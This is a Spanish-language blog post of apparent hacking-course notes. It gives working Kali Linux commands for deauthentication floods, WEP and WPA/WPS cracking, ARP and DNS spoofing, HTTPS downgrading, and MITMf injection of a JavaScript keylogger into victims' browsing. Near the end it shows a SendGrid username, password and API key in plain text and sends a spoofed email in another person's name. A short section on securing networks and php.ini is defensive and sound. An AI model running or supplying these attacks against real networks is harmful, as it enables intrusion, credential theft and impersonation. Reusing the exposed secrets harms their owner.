jueves, 13 de diciembre de 2018

CONFIGURANDO EL LABORATORIO 

Se requiere descargar VirtualBox en su nueva versión 

Se requiere descargar Kali Linux, la imagen para virtual Box la cual la podemos encontrar en la pagina de Kali bajando el ISO o bajando la imagen .Ova directamente del sitio Offensive-Security 


Videos complementarios:




Creando y usando Snapshots en VirtualBox.



¿COMO SE ACTIVA UNA TARJETA INALAMBRICA EN VIRTUALBOX PARA QUE LA RECONOZCO LA MAQUINA VIRTUAL Y PODER PONERLA EN MODO MONITOR?














What is MAC Address & How To Change It








¿PORQUE CAMBIAR LA MAC ADDRESS?



COMO SE CAMBIA EN LINUX LA MAC ADDRESS

Con el comando ifconfig listamos las interfaces, debe aparecer lal Wlan0 como interface wireless.

Desactivar la tarjeta Wifi

root@kali:~# ifconfig wlan0 down

Luego hay que cambiar la dirección Mac con el comando 

root@kali:~# ifconfig wlan0 hw ether 00:11:22:33:44:55

o usarl el comando

root@kali:~# ip link set wlan0 address 00:11:22:33:44:55


y activamos la tarjeta de nuevo

root@kali:~# ifconfig wlan0 up

al ejecutar ifconfig de nuevo podremos ver la nueva dirección mac falsa


MODOS DE LA TARJETA WIRELESS (MONITOR PARA PODER CAPTURAR TRAFICO)

Al correr el comando iwconfig podemos ver las interfaces wireless y el modo en el que se encuentra nuestra interfaz  wireless (por lo general Mode:Managed), para cambiarlo ocupamos entonces lo siguiente.


root@kali:~# configurar wlan0 down

o tambien con el comando iplink porque ifconfig esta descontinuado en muchos linux

root@kali:~# ip link set wlan0 down


Para matar cualquier proceso que pueda estar haciendo uso de la tarjeta que impida ponerla en modo monitor usamos el siguiente comando.

root@kali:~# airmon-ng check kill

Ahora sigue lo siguiente

root@kali:~# iwconfig wlan0 mode monitor

Finalmente activamos la interfaz de red de nuevo

root@kali:~# ifconfig wlan0 up

para ver que si cambiamos a modo monitor usamos el comando

root@kali:~# iwconfig




PACKET SNIFFING (USANDO AIRODUMP-NG)



Capturar paquetes para descubrir redes

root@kali:~# airodump-ng wlan0

Va listar todas las redes en una tabla con la siguientes estructura

 BSSID   PWR  Beacons   #Data  CH   MB  ENC   CIPHER  AUTH  ESSID



Una vez listadas las redes encontramos la red objetivo (preferentemtne debe tener bastante PWR) y utiilizaremos el comando de nuevo de la siguiente forma


root@kali:~# airodump-ng --bssid A8:BD:27:C3:63:21 --channel 1 --write test wlan0


nota: la opción --write es para escribir en el archivo de nombre test

Se conmprende que cuando se utiliza el cifrado wpa2, los paquetes capturados están encriptados.

Leer mas información en el enlace siguiente https://www.dropbox.com/s/23v32giqqepivji/Networks-Pre-Connection-Attacks.pdf?dl=0


DEAUTHENTICATION ATTACK (desconectando equipos de la red, es necesario saber la contraseña de la red)




Para poder desconectar un equipo de la red no es necesario que nuestro equipo desde el cual vamos a realizar el ataque este conectado a la red, es necesario escanear las redes con el comando 


root@kali:~# airodump-ng wlan0

Para descubrir cual es el Mac address del access point al cual nuestro equipo objetivo esta conectado.


Anteriormente al correr el comando root@kali:~# airodump-ng wlan0

este comando nso da la lista de los puntos de acceso (BSSID) y de los equipos (STATION) que estan conectados, es necesario ubicar las mac address para poder continuar con nuestro ataque de desconexión. Ejemplo de la tabla.





EL comando a ejecutar para realizar el ataque de desconexión es el siguiente:


root@kali:~# aireplay-ng --deauth 100000000 -a 70:4F:57:CD:EE:BC -c 48:2C:A0:67:CC:A4 wlan0

la primer mac address es del access point o router en donde esta conectada la computadora o cliente y el segundo mac es del dispositivo al cual queremos dejar sin  conexión. 


nota. Es importante ejecutar al mismo tiempo este comando anterior y este que se ilustra a continuación.

root@kali:~# airodump-ng --bssid A8:BD:27:C3:63:21 --channel 1  wlan0

En resumen se ejecutan los dos comandos últimos vistos.



GAINING ACCESS INTRODUCTION

Wep Cracking









Para poder crackear entonces redes con WEP necesitaremos:

1. Capture a large numer of packets /IVs -------> using airodump-ng
2. Analyse the captured IVs and rack the key-------->using aircrack-ng


En una terminal empezamos a capturar paquetes con el comando:

root@kali:~# airodump-ng --bssid 00:26:44:AE:55:D4 --channel 7 --write basic-wep wlan0

Tenemos que tener suficientes datos capturados, eso lo podemos ver en la columna  #Data al menos unos 5 mil ivs (los datos de la columna #Data)



Posteriormente analizamos los datos capturados par poder descifrar la contraseña. con el comando:

root@kali:~# aircrack-ng basic-wep-01.cap

El problema se da cuando la red no esta ocupada porque va tardar mucho tiempo en capturar suficientes IVs






Practicamente procederemos a capturar IVs co nel mismo comando utilizado con anterioridad.


root@kali:~# airodump-ng --bssid 00:26:44:AE:55:D4 --channel 7 --write arpreplay wlan0

Posteriormente en otra terminal hay que correr e comando aireplay-ng con la opción --fakeauth la mac address del router o access point y además la mac address de nuestro adaptador. El comando quedaría de la siguiente forma.


root@kali:~# aireplay-ng --fakeauth 0 -a 00:26:44:AE:55:D4 -h 68:7F:74:68:A6:85 wlan0

Con esto ya tenemos asociado el router mac y el mac de la tarjeta por lo cual va aparecer en la tabla algo similar a la foto siguiente






Ahora procederemos a generar trafico y forzar al router a generar nuevos paquetes e incrementar el numero de datos (columna #Data) par hacer esto utilizaremos el comando aireplay-ng de nuevo de hecho lo copiaremos del utilizado con anterioridad pero lo unico que modificaremos será la opcion --fakeauth por la opcion arpreplay removiendo el numero 0 y cambiando la opción -a por la opción -p quedando el comando de la siguiente manera:


root@kali:~# aireplay-ng --arpreplay -b 00:26:44:AE:55:D4 -h 68:7F:74:68:A6:85 wlan0


Lo que hace este comando es que el wireless adapter esta esperando por paquetes ARP, una vez que hay algun paquete arp trasmitido este sera capturado, este sera trasmitido al access point para forzar a generar un nuevo paquete con IVs, podras ver a co ntinuación que se incremntaran el numero de paeuqtes muy rapido sin necesidad de que hubiera trafico o alguien trabajando conectado en la red.


Posteriormente a esto vamos a ejecutar el comando para asociar la mac del router con la mac de la tarjeta.
root@kali:~# aireplay-ng --fakeauth 0 -a 00:26:44:AE:55:D4 -h 68:7F:74:68:A6:85 wlan0



Posteriormente analizamos los datos capturados par poder descifrar la contraseña. con el comando:

root@kali:~# aircrack-ng basic-wep-01.cap

Al correr el comando aparecerá una leyenda que dice KEY FOUND!, no olviemos remover los dos puntos que hay entre los numeros ejemplo:


La clave de red en la imagen eliminando los dos puntos seria: A75AFC8DA0

Quebrando la seguridad en redes WPA y WPA2




Lo primero que vamos a escanear es para ver si existen routers o access point que tengan la caracteristica WPS

WPS (Wi-Fi Protected Setup) es un estándar de 2007, promovido por la Wi-Fi Alliance1​ para facilitar la creación de redes WLAN. En otras palabras, WPS no es un mecanismo de seguridad de por sí, se trata de la definición de diversos mecanismos para facilitar la configuración de una red WLAN segura con WPA2, pensados para minimizar la intervención del usuario en entornos domésticos o pequeñas oficinas.1​ Concretamente, WPS define los mecanismos a través de los cuales los diferentes dispositivos de la red obtienen las credenciales (SSID y PSK) necesarias para iniciar el proceso de autenticación.


WPS contempla cuatro tipos de configuraciones diferentes para el intercambio de credenciales, PIN (Personal Identification Number), PBC (Push Button Configuration), NFC (Near Field Communications) y USB (Universal Serial Bus):
  • PIN: tiene que existir un PIN asignado a cada elemento que vaya a asociarse a la red. Este PIN tiene que ser conocido tanto por el Registrar, como por el usuario (Enrollee). Es necesaria la existencia de una interfaz (e.g. pantalla y teclado) para que el usuario pueda introducir el mencionado PIN.
  • PBC: la generación y el intercambio de credenciales son desencadenados a partir que el usuario presiona un botón (físico o virtual) en el AP (o en otro elemento Registrar) y otro en el dispositivo. Notar que en el corto lapso de tiempo entre que se presiona el botón en el AP y se presiona en el dispositivo, cualquier otra estación próxima puede ganar acceso a la red.
  • NFC: intercambio de credenciales a través de comunicación NFC. La tecnología NFC, basada en RFID permite la comunicación sin hilos entre dispositivos próximos (0 - 20 cm). Entonces, el dispositivo Enrollee se tiene que situar al lado del Registrar para desencadenar la autenticación. De esta manera, cualquier usuario que tenga acceso físico al Registrar, puede obtener credenciales válidas.
  • USB: con este método, las credenciales se transfieren mediante un dispositivo de memoria flash (e.g. pendrive) desde el Registrar al Enrollee.
Los métodos PBC, NFC y USB pueden usarse para configurar dispositivos sin pantalla ni teclado (e.g. impresoras, webcams, etc.), pero aunque el estándar contempla NFC y USB, todavía no se certifican estos mecanismos. Actualmente sólo el método PIN es obligatorio en todas las estaciones para obtener la certificación WPS; PBC es obligatorio sólo en APs.

Vulnerabilidades

Existe un fallo de seguridad que Stefan Viehböck descubrió en diciembre del 2011.2
​ Afecta a routers inalámbricos que tienen la función WPS (también llamada QSS), que en dispositivos actuales se encuentra habilitada en forma preestablecida. El fallo permite a un atacante recuperar el PIN WPS y, con él, la clave pre-compartida de la red WPA/WPA2 usando ataques de fuerza bruta en pocas horas. Los usuarios deben deshabilitar la función WPS como solución temporal. Es posible que en algunos dispositivos no pueda realizarse este procedimiento.3

Para escanear dispositivos que tengan activa la caracteristica WPS utilizamos el siguiente comando:
root@kali:~# wash --interface wlan0


Posteriormente hay que copiar el mac address para asociar de nuevo con el comando aireplay-ng usando la opción fakeauth (ataque de autenticación) quedando el comando de la siguiente manera:

root@kali:~# aireplay-ng --fakeauth 30 -a 70:4F:57:CD:EE:BC -h 68:7F:74:68:A6:85 wlan0

En otra ventana vamos a ejecutar el siguiente comando se tiene que estar ejecutando el comando anterior y a la vez ejecutar este nuevo


root@kali:~# reaver --bssid 70:4F:57:CD:EE:BC --channel 1 --interface wlan0 -vvv --no-associate


Se puede bajar una vieja versión de reaver y ejecutarlo como ejecutable co nlas mismas opciones para ver si trabaja.

Problema: Si WPS esta desactivado en tu red objetivo o si esta activado para usar el boton push no trabajará por consiguiente tenemos que crackear la actual


Escaneamos las redes y encontramos nuestra red objetivo 

root@kali:~# airodump-ng wlan0

Seguido capturamos paquetes de la red objetivo con el comando:

root@kali:~# airodump-ng  --bssid 70:4F:57:CD:EE:BC --channel 1 --write wpa_handshake wlan0

Lo que se busca con este comando es capturar un handshake es decir debemos esperar hasta que un cliente se conecte a la red para poder capturar, para acortar el tiempo nos desconectamos y nos volvemos a conectar de algún equipo o celular.

Ahora lo que hay que hacer es desactenticar por un periodo corto de tiempo un cliente que este asociado a la conexión del router que queremos hackear por lo cual usamos el comando:

root@kali:~/Downloads# aireplay-ng --deauth 4 -a 70:4F:57:CD:EE:BC -c 48:2C:A0:67:CC:A4 wlan0






Hasta aqui solo hemos aprendido a capturar un handshake sin embargo este no contiene información que ayude a obtener la llave.


Lo que se necesita es checar si el password es valido o no, por consiguiente crearemos una worldist la cual contiene un gran numero de pasword y revisar uno por uno a ver si es valido o no.


CREANDO A WORDLIST (LISTA DE PALABRAS)



Ejemplo de comando:

root@kali:~# crunch 6 8 abc12 -0 test.txt







el comando que se utiliza es el siguiente:

root@kali:~# aircrack-ng  wpa_handshake-03.cap -w test.txt


Securing Your Network From The Above Attacks
Sección 6, Clase 27
Now that we know how to test the security of all known wireless encryptions (WEP/WPA/WPA2), it is relatively easy to secure our networks against these attacks as we know all the weaknesses that can be used by hackers to crack these encryptions.
So lets have a look on each of these encryptions one by one:
1. WEP: WEP is an old encryption, and its really weak, as we seen in the course there are a number of methods that can be used to crack this encryption regardless of the strength of the password and even if there is nobody connected to the network. These attacks are possible because of the way WEP works, we discussed the weakness of WEP and how it can be used to crack it, some of these methods even allow you to crack the key in a few minutes.
2. WPA/WPA2: WPA and WPA2 are very similar, the only difference between them is the algorithm used to encrypt the information but both encryptions work in the same way. WPA/WPA2 can be cracked in two ways
1. If WPS feature is enabled then there is a high chance of obtaining the key regardless of its complexity, this can be done by exploiting a weakness in the WPS feature. WPS is used to allow users to connect to their wireless network without entering the key, this is done by pressing a WPS button on both the router and the device that they want to connect, the authentication works using an eight digit pin, hackers can brute force this pin in relatively short time (in an average of 10 hours), once they get the right pin they can use a tool called reaver to reverse engineer the pin and get the key, this is all possible due to the fact that the WPS feature uses an easy pin (only 8 characters and only contains digits), so its not a weakness in WPA/WPA2, its a weakness in a feature that can be enabled on routers that use WPA/WPA2 which can be exploited to get the actual WPA/WPA2 key.
2. If WPS is not enabled, then the only way to crack WPA/WPA2 is using a dictionary attack, in this attack a list of passwords (dictionary) is compared against a file (handshake file) to check if any of the passwords is the actual key for the network, so if the password does not exist in the wordlist then the attacker will not be able to find the password.
Conclusion:
1.Do not use WEP encryption, as we seen how easy it is to crack it regardless of the complexity of the password and even if there is nobody connected to the network.
2. Use WPA2 with a complex password, make sure the password contains small letters, capital letters, symbols and numbers and;
3. Ensure that the WPS feature is disabled as it can be used to crack your complex WPA2 key by brute-forcing the easy WPS pin.

POST-CONNECTION ATTACKS

POST-CONNECTION ATTACKS.




En kali linux se utiliza el comando netdiscover para descubrir las ip addres que estan utilizandose en una misma red a la cual estamos conectados.

root@kali:~# netdiscover -r 10.0.2.1/24


Escaneando puertos, 

para escanear puertos se utiliza el comando (programa) nmap, un escaneador visual es el zenmap, en kali linux ejecutarmos ese comando y se abrirá la interfaz visual.



Ataques Man in the Middle

Arp Spoofing






Se abren dos terminales en kali linux y se ejecutan dos veces el comando arpspoof 

en una terminal se ejecuta primeramente arpspoof - i eth0 -t ipdelamaquinaobjetivo(laverdaderaenlared,la victima)  ipdelrouter

En otra terminal se invierte arpspoof -i etch0 -t ipdelrouter  ipdelamaquinaobjetivo(laverdaderaenlared lal victima).

Ejemplo:




Luego en la maquina victima si ejecutamos el comando arp -a vamos a ver como en la tabla arp aparecen duplicadas las mac adress es decir la mac address de router es ahora la mac adress de la maquina donde ejecutamos Kali Linux.






Como la maquina con Kali no es un router, y se quiere hacer pasar por el router es neceario entonces activar el reenvio de paquetes añadiendo un 1 en el archivo /proc/sys/net/ipv4/ip_forward




Arp Spoofing Using MITMf


ejemplo de comando que se ejecuta en kali linux.

root@kali:#   mitmf --arp --spoof --gateway  148.225.126.250   --target  148.225.126.215


Posteriormente al ejecutar este comando, si se navega en la computadora víctima se podrán ver los logs de los sitios visitados y si hizo un login obtener su password y contraseñas.

Bypassing HTTPS


Para poseer mas seguridad cuando se envían datos a través de la Web se utiliza el protocolo HTTPS el cual encripta la información utilizando TLS (Transport Layer Security) or SSL (Secure Sockets Layer).  

Se ejecuta el mismo comando igual que el anterior cuando se realizó arp spoofing usando MITMF, pero el objetivo aqui es que los sitios qeu utilizan https en la máquina victima al navegarlos se conviertan en http para así de esta forma poder obtener http plano y poder hackear sus datos.


DNS SPOOFING

Lo primero que se hace es redireccionar a los visitantes a mi propio servidor copia. Para eso vamos a realizar una prueba primeramente iniciando el servidor web apache en kali linux eso se hace mediante el siguiente  comando:

root@kali:#   service apache2 start

Si desde la máquina victima ponemos la dirección de nuestra máquina kali linux podemos observar  como carga la pagina web de inicio del servidor apache.



Posteriormente hay un archivo en /etc/mitmf/mitmf.conf el cual contiene una lista de nombres que apuntan hacia otras direcciones ip por ejemplo:

ahi en ese archivo vamos agregar una entrada de dns...apuntando hacia nuesstro servidor kali linux donde estamos ejecutando apache con una pagina web que queremos que cargue en la computadora de la victima..ejemplo: como nuestra computadora kali limux tenia el ip 148.225.126.217 entonces agregamos una entrada que luce asi



En la maquina kali linux debemos ejecutar entonces el siguiente comando:  

mitmf --arp --spoof --gateway ipdelgateway --target ipmaquinavictima -i eth0 --dns


Ejemplo:

root@kali:/etc/mitmf# mitmf --arp --spoof --gateway 148.225.126.250 --target 148.225.126.212 -i eth0 --dns



Al ingresar entonces de la maquina vitcima y escribir en el navegador live.com nos va cargar la pagina web configurada en apache en kali linux.


MITMF Capturar pantalla e inyectar a keylogger


Primero se borra el paquete que viene en kali (se llama "Twisted").

# rm -rf /usr/lib/python2.7/dist-packages/twisted

Posteriormente se instala con el comando siguiente:

#pip install Twisted==15.5.0

Ahora hay que correr el comando mitmf pero con los plugins.., para revisar que plugines se revisa la ayuda de mitmf --help

#mitmf --help

Encontraremos varias opciones dos de ellas son el --screen y el --jskeylogger ejemplo:

root@kali#  mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.101 -i -eth0 --screen

root@kali#  mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.101 -i -eth0 --jskeylogger

MITMF CODE INJECTION



root@kali:# mitmf --arp --spoof --gateway 192.168.1.1  --target 192.168.1.101 -i -eth0 --inject --js-payload "alert('test')"

De esta forma podemos que al navegar un sitio con http como vulnweb.com aparezca una ventana con el mensaje de alerta "test".

Por otra parte si queremos generar un archivo con código malicioso procedemos a ejecutar el comando "leafpad", el cual abrirá un editor de texto visual en donde generaremos nuestro código javascript malicioso.

root@kali:~# mitmf --arp --spoof --gateway 148.225.126.250  --target 148.225.126.212 -i eth0 --inject --js-file  /root/js-code.txt   


ENVIAR EMAIL ANÓNIMO

Se registra en un sitio de smtp, por ejemplo sendgrid https://sendgrid.com/

Datos de registro:

usuario:elgueromisa
contraseña: Misangre1981

Luego se utiliza la aplicación de kali linux en terminal sendemail de la siguiente manera:

root@kali:~/Downloads# sendemail -s smtp.sendgrid.net:25 -xu apikey -xp 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 -f "tapiafon@gmail.com" -t "adolfo.castillo@unison.mx" -u "La tesis carlos" -m "Estoy por titularme y deseo que seas mi tutor"

INFORMATION GATHERING



INCREMENTANDO LA SEGURIDAD EN PHP.INI




Es importante poner las variables del archivo  /etc/php/7.2/apache2/php.ini
allow_url_fopen=off
allow_url_include=off


ver la imagen para tener información completa